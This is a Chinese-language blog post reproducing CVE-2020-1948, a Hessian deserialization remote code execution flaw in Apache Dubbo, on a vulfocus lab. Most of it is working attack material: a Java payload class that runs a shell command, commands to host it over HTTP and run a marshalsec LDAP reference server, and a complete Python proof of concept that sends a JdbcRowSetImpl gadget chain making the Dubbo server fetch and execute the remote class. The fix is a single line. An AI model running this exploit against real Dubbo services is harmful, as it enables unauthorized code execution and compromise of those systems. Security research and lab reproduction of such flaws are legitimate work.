首页 > 其他分享 >Dubbo Provider远程代码执行漏洞(CVE-2020-1948)

Dubbo Provider远程代码执行漏洞(CVE-2020-1948)

时间:2023-01-06 10:26:17浏览次数:61  
标签:Dubbo 1948 java sys 代码执行 exp print import

漏洞编号

CVE-2020-1948

漏洞原理

Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞,攻击者发送未经验证的服务名或方法名的RPC请求,使Dubbo服务端加载远程恶意类从而执行恶意代码.

影响版本

Apache Dubbo 2.7.0 ~ 2.7.6 Apache Dubbo 2.6.0 ~ 2.6.7 Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)

漏洞复现

使用的vulfocus靶场复现。先使用cve-2020-1948.py测试一下目标是否存在该漏洞。 运行这个脚本前需要安装dubbo-py依赖。 python cve-2020-1948.py 1、构建如下java,保存为exp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
编译java文件并用python启动http服务。
javac exp.java     编译java文件
python2中使用python2 -m SimpleHTTPServer 80开启http服务
python3中使用python3 -m http.server开启http服务      http服务根目录为当前命令启动目录

2、启动LDAP代理服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1#exp 777 3、python执行poc
-- coding: utf-8 --
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
#此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
python3 exp.py 目标IP 12345 ldap://192.168.1.143:777/exp

 

漏洞修复 升级到安全版本

 

标签:Dubbo,1948,java,sys,代码执行,exp,print,import
From: https://www.cnblogs.com/pursue-security/p/17029637.html

相关文章

  • 【深入浅出Sentinel原理及实战】「框架整合专题」Sentinel服务框架对接Dubbo服务框架
    开源框架适配为了减少开发的复杂程度,Sentinel对大部分的主流框架都进行了适配,例如:WebServlet、Dubbo、SpringCloud、gRPC、SpringWebFlux和Reactor等。云原生微服务......
  • android平台解释器+JIT+AOT代码执行学习
    dalvikJIT(Just-In-Time)JIT即时编译,即在代码运行时进行编译。对于dalvik虚拟机而言其检测到执行频率较高的函数时就会进行jit编译将其编译为本地机器码,这样下次此函数执行......
  • S2-032 CVE-2016-3081 远程代码执行
    漏洞名称CVE-2016-3081S2-032远程代码执行利用条件Struts2.3.20-StrutsStruts2.3.28(2.3.20.3和2.3.24.3除外)漏洞原理当启用动态方法调用时,可以传递可用......
  • 微服务框架Dubbo环境部署实战
    目录一.dubbo概述1.什么是微服务2.dubbo介绍3.dubbo架构二.部署dubbo服务1.部署JDK环境2.部署provider组件3.验证zookeeper的znode信息4.部署consumer环境5.启动多个消费者......
  • 浅析 Dubbo 3.0 中接口级地址推送性能的优化
    URL简介在阐述地址推送性能的具体优化之前,我们有必要先了解一下与之息息相关的内容---URL。定义在不谈及dubbo时,我们大多数人对URL这个概念并不会感到陌生。统一......
  • 浅析 Dubbo 3.0 中接口级地址推送性能的优化
    URL简介在阐述地址推送性能的具体优化之前,我们有必要先了解一下与之息息相关的内容---URL。定义在不谈及dubbo时,我们大多数人对URL这个概念并不会感到陌生。统一......
  • Polaris 和 dubbogo 全面对接,让微服务更简单
    作者:邓正威背景概述什么是PolarisPolaris是腾讯开源的服务治理平台,致力于解决分布式和微服务架构中的服务管理、流量管理、配置管理、故障容错和可观测性问题,针对不同的技......
  • Polaris 和 dubbogo 全面对接,让微服务更简单
    作者:邓正威背景概述什么是PolarisPolaris是腾讯开源的服务治理平台,致力于解决分布式和微服务架构中的服务管理、流量管理、配置管理、故障容错和可观测性问题,针对不同......
  • Dubbo
    1.分布式系统中的相关概念1.1大型互联网项目传统项目和互联网项目相比:互联网项目特点:用户多流量大,并发高海量数据易受攻击功能繁琐变更快高性能:提供快速的访......
  • 【27期】Dubbo面试八连问,这些你都能答上来吗?
    1.Dubbo是什么?Dubbo是阿里巴巴开源的基于Java的高性能RPC分布式服务框架,现已成为Apache基金会孵化项目。致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服......